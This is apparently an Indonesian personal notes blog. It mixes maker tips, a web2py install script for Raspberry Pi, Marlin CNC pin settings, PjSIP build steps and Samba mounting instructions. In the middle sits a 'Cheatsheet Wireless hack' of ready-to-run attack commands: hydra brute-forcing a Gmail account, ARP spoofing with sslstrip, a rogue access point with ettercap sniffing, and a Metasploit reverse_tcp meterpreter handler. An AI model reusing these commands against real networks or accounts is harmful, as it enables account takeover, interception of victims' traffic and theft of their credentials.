Kesalahan dalam Membuat

Ini adalah kesalahan yang kerap saya lakukan dalam MAKE something.

0. Tidak pakai Design.
1. Design awal mengalami perubahan sambil berjalan.
2. Posisi baut menabrak satu sama lain.
3. Pemotongan tidak siku.
4. Pemotongan Tidak AKURAT. (ini mengakibatkan tidak siku).
5. Redundancy Kabel kemana mana. (Mulai gunakan crimping).
6. Struktural tidak bidang segitiga (Jadi letooyy)


Favorite Making tools:

1. Alumunium siku 20x20x1.5mm x 6 meter
2. Pelat Alumunium lurus 20mmx2mm x 6 meter
3. Rivet untuk kunci 3mm
4. Bor 4.5 untuk rivet
5. Pelat aluminium lanjutan.
6. Gergaji besi elektrik
7. Bor Tangan
8. Crimping kabel





Mau tahu ip sendiri dalam bentuk text?

Query ke getip.dyndns.org

Install web2py di raspberry pi

Saya gunakan script ini.

copy paste.
chmod +x
lalu jalankan.


echo "This script will:
1) install all modules need to run web2py on Ubuntu/Debian
2) install web2py in /home/www-data/
3) create a self signed sll certificate
4) setup web2py with mod_wsgi
5) overwrite /etc/apache2/sites-available/default
6) restart apache.

You may want to read this script before running it.

Press a key to continue...[ctrl+C to abort]"

read CONFIRM

#!/bin/bash
# optional
# dpkg-reconfigure console-setup
# dpkg-reconfigure timezoneconf
# nano /etc/hostname
# nano /etc/network/interfaces
# nano /etc/resolv.conf
# reboot now
# ifconfig eth0

echo "installing useful packages"
echo "=========================="
apt-get update
apt-get -y install ssh
apt-get -y install zip unzip
apt-get -y install tar
apt-get -y install openssh-server
apt-get -y install build-essential
apt-get -y install python2.5
apt-get -y install ipython
apt-get -y install python-dev
apt-get -y install postgresql
apt-get -y install apache2
apt-get -y install libapache2-mod-wsgi
apt-get -y install python2.5-psycopg2
apt-get -y install postfix
apt-get -y install wget
apt-get -y install python-matplotlib
apt-get -y install python-reportlab
apt-get -y install mercurial
/etc/init.d/postgresql restart

# optional, uncomment for emacs
# apt-get -y install emacs

# optional, uncomment for backups using samba
# apt-get -y install samba
# apt-get -y install smbfs

echo "downloading, installing and starting web2py"
echo "==========================================="
cd /home
mkdir www-data
cd www-data
rm web2py_src.zip*
wget http://web2py.com/examples/static/web2py_src.zip
unzip web2py_src.zip
mv web2py/handlers/wsgihandler.py web2py/wsgihandler.py
chown -R www-data:www-data web2py

echo "setting up apache modules"
echo "========================="
a2enmod ssl
a2enmod proxy
a2enmod proxy_http
a2enmod headers
a2enmod expires
a2enmod wsgi
mkdir /etc/apache2/ssl

echo "creating a self signed certificate"
echo "=================================="
openssl genrsa 1024 > /etc/apache2/ssl/self_signed.key
chmod 400 /etc/apache2/ssl/self_signed.key
openssl req -new -x509 -nodes -sha1 -days 365 -key /etc/apache2/ssl/self_signed.key > /etc/apache2/ssl/self_signed.cert
openssl x509 -noout -fingerprint -text < /etc/apache2/ssl/self_signed.cert > /etc/apache2/ssl/self_signed.info

echo "rewriting your apache config file to use mod_wsgi"
echo "================================================="
echo '
NameVirtualHost *:80
NameVirtualHost *:443
# If the WSGIDaemonProcess directive is specified outside of all virtual
# host containers, any WSGI application can be delegated to be run within
# that daemon process group.
# If the WSGIDaemonProcess directive is specified
# within a virtual host container, only WSGI applications associated with
# virtual hosts with the same server name as that virtual host can be
# delegated to that set of daemon processes.
WSGIDaemonProcess web2py user=www-data group=www-data processes=1 threads=1


  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   

 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
           /home/www-data/web2py/applications/$1/static/$2
 
    Options -Indexes
    Order Allow,Deny
    Allow from all
 

 
  Deny from all
 

 
  Deny from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log



  SSLEngine on
  SSLCertificateFile /etc/apache2/ssl/self_signed.cert
  SSLCertificateKeyFile /etc/apache2/ssl/self_signed.key

  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   
 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
        /home/www-data/web2py/applications/$1/static/$2

 
    Options -Indexes
    ExpiresActive On
    ExpiresDefault "access plus 1 hour"
    Order Allow,Deny
    Allow from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log

' > /etc/apache2/sites-available/default

# echo "setting up PAM"
# echo "================"
# sudo apt-get install pwauth
# sudo ln -s /etc/apache2/mods-available/authnz_external.load /etc/apache2/mods-enabled
# ln -s /etc/pam.d/apache2 /etc/pam.d/httpd
# usermod -a -G shadow www-data

echo "restarting apache"
echo "================"

/etc/init.d/apache2 restart
cd /home/www-data/web2py
sudo -u www-data python -c "from gluon.widget import console; console();"
sudo -u www-data python -c "from gluon.main import save_password; save_password(raw_input('admin password: '),443)"
echo "done!"

Cheatsheet Wireless hack

Bruteforce gmail

hydra -S -l xxx@gmail.com -P /pentest/password/wordlist/word.lst -e ns -V -s 465 smtp.gmai.com smtp


------------------------------------------

SSLSTRIP

  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

liat gateway cari target

  nmap -sS -O gateway/24

  arpspoof -i wlan0 -t targetIP -r gatewayIP

new terminal
  sslstrip -l 8080

------------------------------------------

FAKE ACCESS POINT

  route n
  find gatewayIP

  apt-get install dhcp3-server

  /etc/dhcpd.conf

    >>isinya

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name "AZANA16-2";
option domain-name-servers 192.168.1.1;
range 192.168.1.2 192.168.1.40;
}


  airmon-ng
  airmon-ng start wlan0

  airbase-ng -c 11 -e AZANA16-2 mon0

 #new terminal
  ifconfig at0 192.168.1.1 netmask 255.255.255.0
  ifconfig at0 mtu 1400
  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p udp -j DNAT --to gatewayIP
  iptables -P FORWARD ACCEPT
  iptables --append FORWARD --in-interface at0 -j ACCEPT
  iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
  /etc/init.d/isc-dhcp-server start

  sslstrip -f -p -k 10000

 #new terimal
  ettercap -p -u -T -q -i at0


---------------------

RESEP LINUX

mounting samba
  mount -t cifs //192.168.99.88/Public -o username=irza,password=xxx


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

===========================================
SSLSTRIP on router


echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

  gwip: gateway ip

nmap -sS -O gwip/24

  targip: targetip


arpspoof -t eth0 -t targip -r gwip

sslstrip -l 8080

Marlin for CNC

ini yang saya ganti di pin.h
banyakan sih di STEP dan DIR

di configuration.h set ke motherboard 99
jangan lupa set default_step juga

configuration.h
  Z_MIN_POS -150
  HEATER_0_MINTEMP 0
  #define DEFAULT_AXIS_STEPS_PER_UNIT   {78.7402,78.7402,200.0*8/3,760*1.1}  // default steps per unit for Ultimaker
sesuaikan dengan rumus.

pin.h

#if MOTHERBOARD == 99
#define KNOWN_BOARD 1

#define X_STEP_PIN          3
#define X_DIR_PIN           4
#define X_ENABLE_PIN        -1
#define X_STOP_PIN          -1

#define Y_STEP_PIN          7
#define Y_DIR_PIN           8
#define Y_ENABLE_PIN       -1
#define Y_STOP_PIN          -1

#define Z_STEP_PIN          5
#define Z_DIR_PIN           6
#define Z_ENABLE_PIN       -1
#define Z_STOP_PIN          -1

#define E0_STEP_PIN         9
#define E0_DIR_PIN          10
#define E0_ENABLE_PIN      -1

#define SDPOWER            -1
#define SDSS               53
#define LED_PIN            -1
#define FAN_PIN            -1
#define PS_ON_PIN           9
#define KILL_PIN           -1

#define HEATER_0_PIN        13
#define HEATER_1_PIN       -1
#define HEATER_2_PIN       -1
#define TEMP_0_PIN          6   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_1_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_2_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define HEATER_BED_PIN      4
#define TEMP_BED_PIN       10

#endif /* 99 */


referensi saya:
http://www.buildlog.net/blog/2012/08/hacking-your-cnc-toolchain/

mengInstall PjSIP

mengInstall PjSIP
di Raspberry Pi


sudo apt-get install libv4l-dev libx264-dev libssl-dev libasound2-dev asterisk


SDL

cd
mkdir tmp
cd $HOME/tmp
wget http://www.libsdl.org/tmp/SDL-2.0.tar.gz
tar xvfz SDL-2.0.tar.gz
cd SDL-2.0.0-7125/
./configure
make
sudo make install

FFMPEG

cd $HOME/tmp
wget http://ffmpeg.org/releases/ffmpeg-0.10.7.tar.bz2
tar xvfj ffmpeg-0.10.7.tar.bz2
cd ffmpeg-0.10.7
./configure --enable-shared --disable-static --enable-memalign-hack --enable-gpl --enable-libx264
make
sudo make install

Build PjSIP

cd $HOME/tmp
wget http://www.pjsip.org/release/2.1/pjproject-2.1.tar.bz2
tar xvfj pjproject-2.1.tar.bz2
cd pjproject-2.1.0/
./configure --disable-video
make dep
make

Mounting Samba

instruksi mounting samba ke raspberry pi

sudo apt-get install smbclient

sudo mount -t cifs -o user=IRZA,password=S***,sec=ntlmv2,rw,file_mode=0777,dir_mode=0777 //192.168.30.97/Public /home/pi/data/


untuk raspberry pi bisa dimounting di Windows.

sudo apt-get install samba samba-common-bin

edit file /etc/samba/samba.conf

tambahkan:
  workgroup = yes
  wins support = yes

dan berikut ini:

[pihome]
   comment= Pi Home
   path=/home/pi
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no